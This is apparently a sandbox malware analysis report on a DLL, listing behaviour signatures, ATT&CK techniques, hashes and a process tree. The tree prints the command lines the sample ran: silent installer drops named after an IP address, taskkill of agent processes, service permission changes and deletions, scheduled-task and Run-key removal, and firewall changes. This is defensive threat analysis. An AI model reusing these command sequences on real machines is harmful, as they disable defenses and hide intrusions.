9d1f17fa9d12198165a507f4d4bee2b730318492b8f756354b5b1be7bb444b76

Analysis

max time kernel
149s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
27/10/2026, 22:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
pcaui.dll
Size 90KB
Sample261027-2aecsagt7x
SHA256 9d1f17fa9d12198165a507f4d4bee2b730318492b8f756354b5b1be7bb444b76
MD5 cab4f0ed6254cd599982f1527ec17ce0
SHA1 f8fd2d55f7a9f824057e53f0cbfa9f9d97a21473
SHA512 c3a1a0ce514dc2a5b0415d752af74b2fb4801dfefb1c4e7eb5ca76f9c0bee6c74d5f6c21fa2895b1396189010c1fd83c8042b0a0297a22cb2002ab0818966d80
SSDEEP 1536:ciFzZzOVd0SvikP3vAWnqAW/4mwQ4w8ddM21spOF0/yWPBwbvmUZ:ciFzZgqSvaWNW/4LQ4w8dG26UF0qWPOr
TLSH
T1A4938D26779411F8DC23D1B4CCD7A63BEB72749535B08B0F1751899A2F23312BE39A46
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution installer persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	1564	rundll32.exe
10	1564	rundll32.exe
11	1564	rundll32.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5724	icacls.exe
2328	icacls.exe
5948	icacls.exe
4228	icacls.exe
4324	icacls.exe
2156	icacls.exe
2516	icacls.exe
4664	icacls.exe
4720	icacls.exe
3272	icacls.exe
5632	icacls.exe
2896	icacls.exe
4408	icacls.exe
5616	icacls.exe
1036	icacls.exe
3176	icacls.exe
3268	icacls.exe
4052	icacls.exe
6112	icacls.exe
2928	icacls.exe
3160	icacls.exe
5116	icacls.exe
5292	icacls.exe
2656	icacls.exe
2572	icacls.exe
836	icacls.exe
4660	icacls.exe
3212	icacls.exe
4828	icacls.exe
1448	icacls.exe
6120	icacls.exe
4768	icacls.exe
4424	icacls.exe
4428	icacls.exe
756	icacls.exe
2404	icacls.exe
1988	icacls.exe
2860	icacls.exe
4648	icacls.exe
4108	icacls.exe
1588	icacls.exe
2428	icacls.exe
5400	icacls.exe
4336	icacls.exe
4408	icacls.exe
3504	icacls.exe
2392	icacls.exe
4304	icacls.exe
2256	icacls.exe
5544	icacls.exe
216	icacls.exe
4404	icacls.exe
4732	icacls.exe
1824	icacls.exe
3928	icacls.exe
5032	icacls.exe
5952	icacls.exe
4816	icacls.exe
2572	icacls.exe
6076	icacls.exe
1352	icacls.exe
4052	icacls.exe
5752	icacls.exe
4324	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Indicator Removal: Clear Persistence 1 TTPs 6 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2916	cmd.exe
5908	cmd.exe
5332	cmd.exe
4672	cmd.exe
4944	cmd.exe
4008	cmd.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3376	netsh.exe
752	netsh.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	safety.exe
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	safety.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5960	cmd.exe
1840	cmd.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Executes dropped EXE 24 IoCs

pid	Process
5212	Client_silent_134.122.189.138_5088.exe
6052	Client_srv_134.122.189.138.exe
5852	Client_srv_134.122.189.138.tmp
4952	safety.exe
5736	safety.exe
5284	safety.exe
2112	safety.exe
4092	safety.exe
6124	safety.exe
5064	Process not Found
1228	Process not Found
2380	Process not Found
1932	Process not Found
2576	Process not Found
5884	Process not Found
4424	Process not Found
1560	Process not Found
2640	Process not Found
1836	Process not Found
1292	Process not Found
4120	Process not Found
3904	Process not Found
4320	Process not Found
3504	Process not Found

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3912	Process not Found
4852	Process not Found
4908	Process not Found
3184	Process not Found
3324	sc.exe
3800	sc.exe
6040	Process not Found
4732	Process not Found
5168	Process not Found
6060	Process not Found
3840	Process not Found
5652	Process not Found
1416	Process not Found
4988	Process not Found
5344	Process not Found
516	Process not Found
2268	Process not Found
1356	Process not Found
2644	Process not Found
5504	Process not Found
1172	Process not Found
5228	Process not Found
4404	Process not Found
756	Process not Found
5216	Process not Found
2592	Process not Found
3876	sc.exe
4320	sc.exe
4176	Process not Found
800	Process not Found
5664	Process not Found
1804	Process not Found
4480	Process not Found
1824	Process not Found
4512	Process not Found
5712	sc.exe
2844	Process not Found
4264	sc.exe
3804	Process not Found
4108	Process not Found
4876	Process not Found
3248	Process not Found
5348	Process not Found
2068	Process not Found
3864	Process not Found
5100	Process not Found
5496	Process not Found
5168	Process not Found
3312	Process not Found
4164	Process not Found
4208	sc.exe
4928	sc.exe
3648	Process not Found
4968	Process not Found
4852	Process not Found
3004	Process not Found
3372	Process not Found
976	Process not Found
3168	sc.exe
4980	sc.exe
3772	Process not Found
4832	Process not Found
5564	Process not Found
3620	Process not Found

Loads dropped DLL 64 IoCs

pid	Process
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
4952	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5736	safety.exe
5284	safety.exe
5284	safety.exe
5284	safety.exe
5284	safety.exe
5284	safety.exe
5284	safety.exe
5284	safety.exe
5284	safety.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 23 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3848	cmd.exe
5876	cmd.exe
3088	cmd.exe
4280	cmd.exe
716	cmd.exe
2560	cmd.exe
1568	cmd.exe
6088	cmd.exe
4532	cmd.exe
3032	cmd.exe
4636	cmd.exe
5484	cmd.exe
1856	cmd.exe
5176	cmd.exe
4516	cmd.exe
4824	cmd.exe
5520	cmd.exe
2872	cmd.exe
668	cmd.exe
1628	cmd.exe
416	cmd.exe
5700	cmd.exe
3456	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Client_srv_134.122.189.138.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Client_srv_134.122.189.138.tmp

Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral1/memory/6052-67-0x0000000000400000-0x00000000004C4000-memory.dmp	innosetup
behavioral1/memory/6052-2077-0x0000000000400000-0x00000000004C4000-memory.dmp	innosetup
behavioral1/memory/6052-2698-0x0000000000400000-0x00000000004C4000-memory.dmp	innosetup

Kills process with taskkill 9 IoCs

defense_evasion

pid	Process
1804	taskkill.exe
5964	taskkill.exe
684	taskkill.exe
3972	taskkill.exe
4500	taskkill.exe
5540	taskkill.exe
5068	taskkill.exe
1472	taskkill.exe
3928	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5284	safety.exe
5284	safety.exe
5284	safety.exe
5284	safety.exe
5284	safety.exe
5284	safety.exe
2112	safety.exe
2112	safety.exe
2112	safety.exe
2112	safety.exe
2112	safety.exe
2112	safety.exe
2112	safety.exe
2112	safety.exe
2112	safety.exe
2112	safety.exe
2112	safety.exe
2112	safety.exe
2112	safety.exe
2112	safety.exe
4092	safety.exe
4092	safety.exe
4092	safety.exe
4092	safety.exe
4092	safety.exe
4092	safety.exe
4092	safety.exe
4092	safety.exe
4092	safety.exe
4092	safety.exe
4092	safety.exe
4092	safety.exe
4092	safety.exe
4092	safety.exe
6124	safety.exe
6124	safety.exe
6124	safety.exe
6124	safety.exe
6124	safety.exe
6124	safety.exe
6124	safety.exe
6124	safety.exe
6124	safety.exe
6124	safety.exe
6124	safety.exe
6124	safety.exe
6124	safety.exe
6124	safety.exe
5212	Client_silent_134.122.189.138_5088.exe
5212	Client_silent_134.122.189.138_5088.exe
5064	Process not Found
5064	Process not Found
5064	Process not Found
5064	Process not Found
5064	Process not Found
5064	Process not Found
5064	Process not Found
5064	Process not Found
5064	Process not Found
5064	Process not Found
5064	Process not Found
5064	Process not Found
5064	Process not Found
5064	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	5212	Client_silent_134.122.189.138_5088.exe
Token: SeDebugPrivilege	3928	taskkill.exe
Token: SeDebugPrivilege	4500	taskkill.exe
Token: SeDebugPrivilege	5540	taskkill.exe
Token: SeDebugPrivilege	1804	taskkill.exe
Token: SeDebugPrivilege	5964	taskkill.exe
Token: SeDebugPrivilege	5068	taskkill.exe
Token: SeDebugPrivilege	684	taskkill.exe
Token: SeDebugPrivilege	1472	taskkill.exe
Token: SeDebugPrivilege	3972	taskkill.exe
Token: SeDebugPrivilege	4952	safety.exe
Token: SeDebugPrivilege	5736	safety.exe
Token: SeDebugPrivilege	5284	safety.exe
Token: SeDebugPrivilege	2112	safety.exe
Token: SeDebugPrivilege	4092	safety.exe
Token: SeDebugPrivilege	6124	safety.exe
Token: SeDebugPrivilege	5064	Process not Found
Token: SeDebugPrivilege	1228	Process not Found
Token: SeDebugPrivilege	2380	Process not Found
Token: SeDebugPrivilege	1932	Process not Found
Token: SeDebugPrivilege	2576	Process not Found
Token: SeDebugPrivilege	5884	Process not Found
Token: SeDebugPrivilege	4424	Process not Found
Token: SeDebugPrivilege	1560	Process not Found
Token: SeDebugPrivilege	2640	Process not Found
Token: SeDebugPrivilege	1836	Process not Found
Token: SeDebugPrivilege	1292	Process not Found
Token: SeDebugPrivilege	4120	Process not Found
Token: SeDebugPrivilege	3904	Process not Found
Token: SeDebugPrivilege	4320	Process not Found
Token: SeDebugPrivilege	3504	Process not Found

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5852	Client_srv_134.122.189.138.tmp

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1564 wrote to memory of 1896	1564	rundll32.exe	85
PID 1564 wrote to memory of 5212	1564	rundll32.exe	94
PID 5212 wrote to memory of 6052	5212	Client_silent_134.122.189.138_5088.exe	95
PID 6052 wrote to memory of 5852	6052	Client_srv_134.122.189.138.exe	96
PID 5852 wrote to memory of 5484	5852	Client_srv_134.122.189.138.tmp	97
PID 5484 wrote to memory of 6004	5484	cmd.exe	99
PID 5852 wrote to memory of 3848	5852	Client_srv_134.122.189.138.tmp	100
PID 3848 wrote to memory of 5996	3848	cmd.exe	102
PID 5852 wrote to memory of 716	5852	Client_srv_134.122.189.138.tmp	103
PID 716 wrote to memory of 6076	716	cmd.exe	105
PID 5852 wrote to memory of 5876	5852	Client_srv_134.122.189.138.tmp	106
PID 5876 wrote to memory of 3928	5876	cmd.exe	108
PID 5852 wrote to memory of 3764	5852	Client_srv_134.122.189.138.tmp	109
PID 5852 wrote to memory of 1856	5852	Client_srv_134.122.189.138.tmp	111
PID 1856 wrote to memory of 4500	1856	cmd.exe	113
PID 5852 wrote to memory of 3088	5852	Client_srv_134.122.189.138.tmp	114
PID 3088 wrote to memory of 5540	3088	cmd.exe	116
PID 5852 wrote to memory of 5176	5852	Client_srv_134.122.189.138.tmp	117
PID 5176 wrote to memory of 1804	5176	cmd.exe	119
PID 5852 wrote to memory of 4516	5852	Client_srv_134.122.189.138.tmp	120
PID 4516 wrote to memory of 5964	4516	cmd.exe	122
PID 5852 wrote to memory of 2560	5852	Client_srv_134.122.189.138.tmp	123
PID 2560 wrote to memory of 5068	2560	cmd.exe	125
PID 5852 wrote to memory of 1628	5852	Client_srv_134.122.189.138.tmp	126
PID 1628 wrote to memory of 684	1628	cmd.exe	128
PID 5852 wrote to memory of 1568	5852	Client_srv_134.122.189.138.tmp	129
PID 1568 wrote to memory of 1472	1568	cmd.exe	131
PID 5852 wrote to memory of 4280	5852	Client_srv_134.122.189.138.tmp	132
PID 4280 wrote to memory of 3972	4280	cmd.exe	134
PID 5852 wrote to memory of 5332	5852	Client_srv_134.122.189.138.tmp	135
PID 5332 wrote to memory of 4580	5332	cmd.exe	137
PID 5852 wrote to memory of 4672	5852	Client_srv_134.122.189.138.tmp	138
PID 4672 wrote to memory of 5960	4672	cmd.exe	140
PID 5852 wrote to memory of 4944	5852	Client_srv_134.122.189.138.tmp	141
PID 4944 wrote to memory of 4648	4944	cmd.exe	143
PID 5852 wrote to memory of 4008	5852	Client_srv_134.122.189.138.tmp	144
PID 4008 wrote to memory of 4204	4008	cmd.exe	146
PID 5852 wrote to memory of 2916	5852	Client_srv_134.122.189.138.tmp	147
PID 2916 wrote to memory of 3660	2916	cmd.exe	149
PID 5852 wrote to memory of 5908	5852	Client_srv_134.122.189.138.tmp	150
PID 5908 wrote to memory of 6116	5908	cmd.exe	152
PID 5852 wrote to memory of 416	5852	Client_srv_134.122.189.138.tmp	153
PID 416 wrote to memory of 3176	416	cmd.exe	155
PID 5852 wrote to memory of 6088	5852	Client_srv_134.122.189.138.tmp	156
PID 6088 wrote to memory of 3964	6088	cmd.exe	158
PID 5852 wrote to memory of 5700	5852	Client_srv_134.122.189.138.tmp	159
PID 5700 wrote to memory of 5452	5700	cmd.exe	161
PID 5852 wrote to memory of 4824	5852	Client_srv_134.122.189.138.tmp	162
PID 4824 wrote to memory of 5836	4824	cmd.exe	164
PID 5852 wrote to memory of 5520	5852	Client_srv_134.122.189.138.tmp	165
PID 5520 wrote to memory of 4212	5520	cmd.exe	167
PID 5852 wrote to memory of 4532	5852	Client_srv_134.122.189.138.tmp	168
PID 4532 wrote to memory of 4192	4532	cmd.exe	170
PID 5852 wrote to memory of 4952	5852	Client_srv_134.122.189.138.tmp	171
PID 5852 wrote to memory of 3032	5852	Client_srv_134.122.189.138.tmp	174
PID 3032 wrote to memory of 3376	3032	cmd.exe	176
PID 5852 wrote to memory of 2872	5852	Client_srv_134.122.189.138.tmp	177
PID 2872 wrote to memory of 752	2872	cmd.exe	179
PID 5852 wrote to memory of 5736	5852	Client_srv_134.122.189.138.tmp	180
PID 5736 wrote to memory of 3324	5736	safety.exe	181
PID 5736 wrote to memory of 4264	5736	safety.exe	183
PID 5736 wrote to memory of 3512	5736	safety.exe	185
PID 5736 wrote to memory of 3152	5736	safety.exe	187
PID 5736 wrote to memory of 1752	5736	safety.exe	189

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 64 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2596	attrib.exe
4164	attrib.exe
4796	attrib.exe
1892	attrib.exe
948	Process not Found
4212	attrib.exe
5924	attrib.exe
5488	attrib.exe
3864	Process not Found
5528	attrib.exe
3528	attrib.exe
2932	attrib.exe
4304	attrib.exe
3348	attrib.exe
2392	attrib.exe
1784	Process not Found
800	Process not Found
5664	attrib.exe
680	attrib.exe
4932	attrib.exe
4504	attrib.exe
5140	attrib.exe
5100	attrib.exe
4060	attrib.exe
3696	attrib.exe
3084	attrib.exe
5136	attrib.exe
2304	attrib.exe
400	attrib.exe
4480	attrib.exe
3308	attrib.exe
1296	attrib.exe
3788	Process not Found
4424	attrib.exe
3160	attrib.exe
3504	attrib.exe
5616	attrib.exe
4268	attrib.exe
4228	attrib.exe
380	attrib.exe
2652	attrib.exe
2604	attrib.exe
1620	attrib.exe
5508	attrib.exe
1472	attrib.exe
4208	Process not Found
1276	Process not Found
6120	Process not Found
1616	attrib.exe
2644	attrib.exe
4764	attrib.exe
4508	attrib.exe
3660	attrib.exe
3476	attrib.exe
1588	attrib.exe
1532	attrib.exe
2220	attrib.exe
3516	attrib.exe
5928	Process not Found
3728	Process not Found
4404	attrib.exe
3016	attrib.exe
3100	attrib.exe
1636	attrib.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\pcaui.dll,#1
1⤵
- Badlisted process makes network request
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:1564
- C:\Windows\system32\rundll32.exe
  "C:\Windows\system32\rundll32.exe" -a C:\Windows\System32\notepad.exe
  2⤵
  PID:1896
- C:\Users\Admin\AppData\Local\Microsoft\WU\pkg\Client_silent_134.122.189.138_5088.exe
  "C:\Users\Admin\AppData\Local\Microsoft\WU\pkg\Client_silent_134.122.189.138_5088.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5212
- - C:\Users\Admin\AppData\Local\Temp\dcy_silent_7e130e9f\Client_srv_134.122.189.138.exe
    "C:\Users\Admin\AppData\Local\Temp\dcy_silent_7e130e9f\Client_srv_134.122.189.138.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /FORCECLOSEAPPLICATIONS
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6052
  - - C:\Users\Admin\AppData\Local\Temp\is-1Q6NU.tmp\Client_srv_134.122.189.138.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-1Q6NU.tmp\Client_srv_134.122.189.138.tmp" /SL5="$801F0,97419156,745984,C:\Users\Admin\AppData\Local\Temp\dcy_silent_7e130e9f\Client_srv_134.122.189.138.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /FORCECLOSEAPPLICATIONS
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:5852
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c sc sdset "safety" "D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)" >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5484
      - C:\Windows\system32\sc.exe
        
        sc sdset "safety" "D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)"
        6⤵
        
        PID:6004
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c sc stop "safety" >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3848
      - C:\Windows\system32\sc.exe
        
        sc stop "safety"
        6⤵
        
        PID:5996
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c sc delete "safety" >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:716
      - C:\Windows\system32\sc.exe
        
        sc delete "safety"
        6⤵
        
        PID:6076
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM "safety.exe" /T /F >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5876
      - C:\Windows\system32\taskkill.exe
        
        taskkill /IM "safety.exe" /T /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3928
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" query "safety"
        5⤵
        
        PID:3764
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM "safety.exe" /T /F >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1856
      - C:\Windows\system32\taskkill.exe
        
        taskkill /IM "safety.exe" /T /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4500
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM "safety-ui.exe" /T /F >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3088
      - C:\Windows\system32\taskkill.exe
        
        taskkill /IM "safety-ui.exe" /T /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5540
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM "DongchaYan.Agent.Service.exe" /T /F >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5176
      - C:\Windows\system32\taskkill.exe
        
        taskkill /IM "DongchaYan.Agent.Service.exe" /T /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1804
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM "DongchaYan.Agent.Tray.exe" /T /F >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4516
      - C:\Windows\system32\taskkill.exe
        
        taskkill /IM "DongchaYan.Agent.Tray.exe" /T /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5964
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM "DongchaYan.Agent.Watchdog.exe" /T /F >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2560
      - C:\Windows\system32\taskkill.exe
        
        taskkill /IM "DongchaYan.Agent.Watchdog.exe" /T /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5068
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM "MIT.Agent.Service.exe" /T /F >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1628
      - C:\Windows\system32\taskkill.exe
        
        taskkill /IM "MIT.Agent.Service.exe" /T /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:684
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM "MIT.Agent.Tray.exe" /T /F >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1568
      - C:\Windows\system32\taskkill.exe
        
        taskkill /IM "MIT.Agent.Tray.exe" /T /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1472
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM "MIT.Agent.Watchdog.exe" /T /F >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4280
      - C:\Windows\system32\taskkill.exe
        
        taskkill /IM "MIT.Agent.Watchdog.exe" /T /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3972
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c schtasks /Delete /TN "Service" /F >nul 2>nul
        5⤵
        Indicator Removal: Clear Persistence
        Suspicious use of WriteProcessMemory
        
        PID:5332
      - C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Service" /F
        6⤵
        
        PID:4580
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c schtasks /Delete /TN "ClientPackage_AutoStart" /F >nul 2>nul
        5⤵
        Indicator Removal: Clear Persistence
        Suspicious use of WriteProcessMemory
        
        PID:4672
      - C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "ClientPackage_AutoStart" /F
        6⤵
        
        PID:5960
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c schtasks /Delete /TN "MIT Agent Service" /F >nul 2>nul
        5⤵
        Indicator Removal: Clear Persistence
        Suspicious use of WriteProcessMemory
        
        PID:4944
      - C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "MIT Agent Service" /F
        6⤵
        
        PID:4648
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c schtasks /Delete /TN "MIT Agent Watchdog" /F >nul 2>nul
        5⤵
        Indicator Removal: Clear Persistence
        Suspicious use of WriteProcessMemory
        
        PID:4008
      - C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "MIT Agent Watchdog" /F
        6⤵
        
        PID:4204
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c schtasks /Delete /TN "DongchaYan Agent Service" /F >nul 2>nul
        5⤵
        Indicator Removal: Clear Persistence
        Suspicious use of WriteProcessMemory
        
        PID:2916
      - C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "DongchaYan Agent Service" /F
        6⤵
        
        PID:3660
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c schtasks /Delete /TN "DongchaYan Agent Watchdog" /F >nul 2>nul
        5⤵
        Indicator Removal: Clear Persistence
        Suspicious use of WriteProcessMemory
        
        PID:5908
      - C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "DongchaYan Agent Watchdog" /F
        6⤵
        
        PID:6116
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "safety" /f >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:416
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "safety" /f
        6⤵
        
        PID:3176
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "safety-ui" /f >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:6088
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "safety-ui" /f
        6⤵
        
        PID:3964
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MIT Agent Watchdog" /f >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5700
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MIT Agent Watchdog" /f
        6⤵
        
        PID:5452
